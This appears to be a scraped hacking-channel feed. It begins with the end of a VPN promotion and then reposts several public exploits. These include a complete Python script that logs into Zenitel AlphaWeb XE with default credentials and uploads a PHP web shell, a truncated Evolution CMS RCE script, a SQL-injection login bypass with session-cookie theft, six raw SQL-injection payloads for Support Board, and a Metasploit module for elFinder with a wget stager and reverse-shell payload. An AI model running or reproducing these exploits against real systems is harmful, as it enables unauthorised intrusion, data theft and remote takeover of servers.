w offer overarching security for all our devices. Each provider’s package will be different, but the very best will give you peace of mind across all your devices.

Get in on regional savings

Another benefit your VPN might help you enjoy, albeit sneakily, is savings on streaming subscriptions, flights, and many other subscription-based services. Not everyone can afford to pay the same prices for services as people in developed countries. In response to this, many companies offer their services at location-adjusted prices or with country-specific discount codes.

You can use your VPN to pay lower rates by switching your location. African, South American, and Middle-Eastern countries usually pay far less than people in the USA, UK, and EU for the same services. 

Avoid data and bandwidth throttling

Internet Service Providers throttle data and bandwidth to prevent congestion and ensure every client has reasonable internet usage. That sounds nice, but if you like to download massive files, play online games, or stream endlessly, throttling will throw a spanner in your works.

With a VPN, you can get around these limits and enjoy the very best experience online. A VPN hides your activity from your service providers so that even if they wanted to throttle your connection, they couldn’t because they can’t see any action from your IP.

Privacy and security are the top benefits of having a VPN, but as you’ve seen, there’s a lot more to VPNs you can enjoy. Getting one will give you the peace of mind to enjoy the internet without the hassles attached.

___________________________
@hacking_Attack
@Hacking_Video

Exploit CollectorZenitel AlphaCom XE Audio Server 11.2.3.10 Shell Upload


Remote command execution exploit for Zenitel AlphaCom XE Audio Server versions up to 11.2.3.10 which have a web interface called AlphaWeb XE that allows for a remote shell upload.

MD5 | 7e648c2e86d13eff9019116bcae14157

Download



# Exploit Title: AlphaWeb XE - Authenticated Insecure File Upload leading to RCE (CVE-2021-40845)
# Date: 09/09/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# Vendor website: https://www.zenitel.com/
# Product website: https://wiki.zenitel.com/wiki/AlphaWeb
# CVE: CVE-2021-40845 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40845)
# Example: python3 CVE-2021-40845.py -u "http://$ip:80/" -c "whoami"
# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-40845

import requests
import base64
import argparse

# Default credentials, change them if it is necessary
admin_user = "admin"
admin_pass = "alphaadmin"
scripter_user = "scripter"
scripter_pass = "alphascript"


def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', required=True, action='store', help='Target url')
parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute')
my_args = parser.parse_args()
return my_args


def main():
args = get_args()
base_url = args.url
url_main = base_url + "/php/index.php"
url_upload = base_url + "/php/script_uploads.php"

command = args.command
uploaded_file = "poc.php"
url_cmd = base_url + "/cmd/" + uploaded_file + "?cmd=" + command

login_authorization = "Basic " + str(base64.b64encode((admin_user+':'+admin_pass).encode('ascii')).decode('ascii'))
upload_authorization = "Basic " + str(base64.b64encode((scripter_user+":"+scripter_pass).encode('ascii')).decode('ascii'))

headers_login = {
"Authorization": login_authorization,
"Cache-Control": "max-age=0"
}

headers_upload = {
'Authorization': upload_authorization,
'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="92"',
'sec-ch-ua-mobile': '?0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Sec-Fetch-Dest': 'iframe',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9',
}

files = {
"userfile":(uploaded_file, "\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"\"; die; }?>"),
}

s = requests.session()
# Login as admin
s.get(url_main, headers = headers_login)
# Upload file
upload = s.post(url_upload, files=files, headers = headers_upload)
# Execute command
cmd = s.post(url_cmd)
print(cmd.text.replace("","").replace("",""))


if __name__ == "__main__":
main()



Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Evolution CMS 3.1.6 Remote Code Execution


https://4.bp.blogspot.com/-1sVwQJsRVpo/WWlvgaUDftI/AAAAAAAAIQM/9m_QfduSdAQi14Fs6kLQe2-YLO5Bx1iKQCLcBGAs/s1600/h87.png
Evolution CMS version 3.1.6 authenticated remote code execution exploit.

MD5 | 64efd7eabcd6619812539f02dfbb1c8a

Download
# Exploit Title: Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)
# Date: 15-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://evo.im/
# Software Link: https://github.com/evolution-cms/evolution/releases
# Version: 3.1.6
# Category: Webapps
# Tested on: Linux/Windows
# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
# python3 exploit.py -h
from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse
import sys

def main():
parser = argparse.ArgumentParser(description='Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)')
parser.add_argument('-u', '--host', type=str, required=True)
parser.add_argument('-l', '--login', type=str, required=True)
parser.add_argument('-p', '--password', type=str, required=True)
args = parser.parse_args()
print("\nEvolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)",
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
sleep(2)
exploit(args)

def exploit(args):

#Check http or https
if args.host.startswith(('http://', 'https://')):
print("[?] Check Url...\n")
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
sleep(2)
else:
print("\n[?] Check Adress...\n")
args.host = "http://" + args.host
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
sleep(2)

# Check Host Status
try:
response = requests.get(args.host)
if response.status_code != 200:
print("[-] Address not reachable!")
sleep(2)
exit(1)

except requests.ConnectionError as exception:
print("[-] Address not reachable!")
sleep(2)
exit(1)
# Login and cookie set
session = requests.session()
url = args.host + "/manager/?a=0"
cookies = {
"mybb[lastvisit]": "1631537273",
"loginattempts": "1",
"mybb[lastactive]": "1631537588",
"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
"evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
"KCFINDER_showname": "on",
"KCFINDER_showsize": "off",
"KCFINDER_showtime": "off",
"KCFINDER_order": "name",
"KCFINDER_orderDesc": "off",
"KCFINDER_view": "thumbs",
"KCFINDER_displaySettings": "off",
"evoq28fzr": "o0hd9im6q76pptjcsjeaa693os"
}

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Content-Type": "application/x-www-form-urlencoded;",
"Accept": "*/*",
"Origin": args.host,
"Referer": args.host + "/manager/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",[...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
AHSS-PHP 1.0 Cross Site Scripting / SQL Injection


https://3.bp.blogspot.com/-00fiGlDHfKo/WWlvZ5odqlI/AAAAAAAAIO4/nnZp17OtkHAWqiO0pbFBQSys2U4_yu8pACLcBGAs/s1600/h7.png
AHSS-PHP version 1.0 suffers from cross site scripting and remote SQL injection vulnerabilities.

MD5 | 00674176fa93d01b22d17bb2c4952741

Download
### Exploit Title: AHSS-PHP (by: oretnom23 ) v1.0 is vulnerable in the application /scheduler/classes/Login.php to remote SQL-Injection-Bypass-Authentication + XSS-Stored Hijacking PHPSESSID
### Author: nu11secur1ty
### Testing and Debugging: nu11secur1ty
### Date: 09.15.2021
### Vendor: https://www.sourcecodester.com/user/257130/activity
### Link:
https://www.sourcecodester.com/php/14902/simple-assembly-hall-scheduling-system-php-free-source-code.html
### CVE: CVE-nu11-11

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug and Developement: @nu11secur1ty
# CVE-nu11-11-09152021

from selenium import webdriver
import time
import os
from colorama import init, Fore, Back, Style
init(convert=True)
import requests
#enter the link to the website you want to automate login.
website_link="http://localhost/scheduler/admin/login.php"

#enter your login username
username="nu11secur1ty' or 1=1#"

#enter your login password
password="nu11secur1ty' or 1=1#"

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="password"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
browser.maximize_window()
time.sleep(1)
browser.execute_script("document.querySelector('[class=\"btn btn-primary
btn-block\"]').click()")

time.sleep(1)
exploit_link="
http://localhost/scheduler/admin/?page=assembly_hall/manage_assembly"
browser.get((exploit_link))

browser.execute_script("document.querySelector('[name=\"room_name\"]').value=\"\"")
browser.execute_script("document.querySelector('[name=\"location\"]').value=\"\"")
browser.execute_script("document.querySelector('[name=\"description\"]').value=\"\"")
time.sleep(1)
browser.execute_script("document.querySelector('[class=\"btn btn-flat
btn-primary\"]').click()")

coockie=browser.execute_script("return document.cookie")
coockie=coockie.split("=")[1]
print(coockie)
browser.close()

time.sleep(3)
os.system("python PWNPHPSESSID.py " + coockie)

print(Fore.GREEN +"The payload for CVE-nu11-11 is deployed...\n")
print(Style.RESET_ALL)

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
------------------------------------------------------------------

### Description:
The AHSS-PHP (by: oretnom23 ) v1.0 is vulnerable in the a[...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit CollectorSupport Board 3.3.3 SQL Injection


Support Board version 3.3.3 suffers from a remote SQL injection vulnerability.

MD5 | 2522a4c70f34263689e5aca25398a9e4

Download



# Exploit Title: Support Board 3.3.3 - 'Multiple' SQL Injection (Unauthenticated)
# Date: 29.08.2021
# Exploit Author: John Jefferson Li
# Vendor Homepage: https://board.support/
# Software Link: https://codecanyon.net/item/support-board-help-desk-and-chat/20359943
# Version: 3.3.3
# Tested on: Ubuntu 20.04.2 LTS

----- PoC 1: Error Based SQLi (status_code) -----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: status_code (POST)

function=new-conversation&status_code=2"+AND+EXTRACTVALUE(4597,CONCAT("","DB+Name:+",(SELECT+(ELT(4597=4597,""))),database()))+AND+"fKoo"="fKoo&title=&department=&agent_id=&routing=false&login-cookie=&user_id=46&language=false


----- PoC 2: Error Based SQLi (department)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: department (POST)

function=new-conversation&status_code=2o&title=&department=(UPDATEXML(5632,CONCAT(0x2e,"Database+Name:+",(SELECT+(ELT(5632=5632,""))),database()),3004))&agent_id=&routing=false&login-cookie=&user_id=46&language=false


----- PoC 3: Error Based SQLi (user_id) -----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: user_id (POST)

function=send-message&user_id=-5"+AND+GTID_SUBSET(CONCAT("Database+Name:+",(SELECT+(ELT(3919=3919,""))),database()),3919)+AND+"wrOJ"="wrOJ&conversation_id=35&message=TEST+POC&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 4: Time Based SQLi (conversation_id)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: conversation_id (POST)

function=send-message&user_id=5&conversation_id=45"+AND+(SELECT 1479+FROM+(SELECT(SLEEP(5)))xttx)--+BOXv&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 5: Time Based SQLi (conversation_status_code)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: conversation_status_code (POST)

function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false+WHERE+9793=9793+AND+(SELECT+4500+FROM+(SELECT(SLEEP(5)))oJCl)--+uAGp&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 6: Time Based SQLi (recipient_id)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: recipient_id (POST)

function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false+AND+(SELECT+7416+FROM+(SELECT(SLEEP(5)))eBhm)&login-cookie=&language=false



Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
elFinder Archive Command Injection


https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
elFinder versions below 2.1.59 are vulnerable to a command injection vulnerability via its archive functionality. When creating a new zip archive, the name parameter is sanitized with the escapeshellarg() php function and then passed to the zip utility. Despite the sanitization, supplying the -TmTT argument as part of the name parameter is still permitted and enables the execution of arbitrary commands as the www-data user.

MD5 | 748ee7b37719159b8db8d6bf33aad64b

Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'elFinder Archive Command Injection',
'Description' => %q{
elFinder versions below 2.1.59 are vulnerable to a command injection
vulnerability via its archive functionality.

When creating a new zip archive, the `name` parameter is sanitized
with the `escapeshellarg()` php function and then passed to the
`zip` utility. Despite the sanitization, supplying the `-TmTT`
argument as part of the `name` parameter is still permitted and
enables the execution of arbitrary commands as the `www-data` user.
},
'License' => MSF_LICENSE,
'Author' => [
'Thomas Chauchefoin', # Discovery
'Shelby Pace' # Metasploit module
],
'References' => [
[ 'CVE', '2021-32682' ],
[ 'URL', 'https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities' ]
],
'Platform' => [ 'linux' ],
'Privileged' => false,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' => [
[
'Automatic Target',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => [ 'wget' ],
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
]
],
'DisclosureDate' => '2021-06-13',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)

register_options([ OptString.new('TARGETURI', [ true, 'The URI of elFinder', '/' ]) ])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => upload_uri
)

return CheckCode::Unknown('Failed to retrieve a response') unless res
re[...]

___________________________
@hacking_Attack
@Hacking_Video

Sending malicious link via HackerOne
https://medium.com/@bruzistico/sending-malicious-link-via-hackerone-c7e968b12715?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

I recently submitted a report to the HackerOne programContinue reading on Medium » (https://medium.com/@bruzistico/sending-malicious-link-via-hackerone-c7e968b12715?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Introducing Immunefi’s Luxury Hoodies
https://medium.com/immunefi/introducing-immunefis-luxury-hoodies-f9f9286520c7?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Immunefi, the leading bug bounty platform with the world’s largest bounties, has launched its first luxury hoodie for hackers who find…Continue reading on Immunefi » (https://medium.com/immunefi/introducing-immunefis-luxury-hoodies-f9f9286520c7?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Pivoting and portforwarding with Metasploit
https://www.reddit.com/r/Pentesting/comments/poulb6/pivoting_and_portforwarding_with_metasploit/

I a pentesting assignment have 3 networks, which I can access only by pivoting, the routes are configured properly since I can run nmap scans from my attacker machine to the third subnet using a socks4a proxy provided by metasploit. I found a vulnerability on a machine in the third subnet and I'm trying different payloads, starting with bind now moving to reverse tcp, which will not work since it needs to be forwarded. But when I use portfwd and configure my attackers ip with -L it will be displayed as the remote ip and vice versa for the remote one. Any suggestions on this and how to configure this right ? submitted by /u/c0nr3f (https://www.reddit.com/user/c0nr3f)
[link] (https://www.reddit.com/r/Pentesting/comments/poulb6/pivoting_and_portforwarding_with_metasploit/) [comments] (https://www.reddit.com/r/Pentesting/comments/poulb6/pivoting_and_portforwarding_with_metasploit/)

___________________________
@hacking_Attack
@Hacking_Video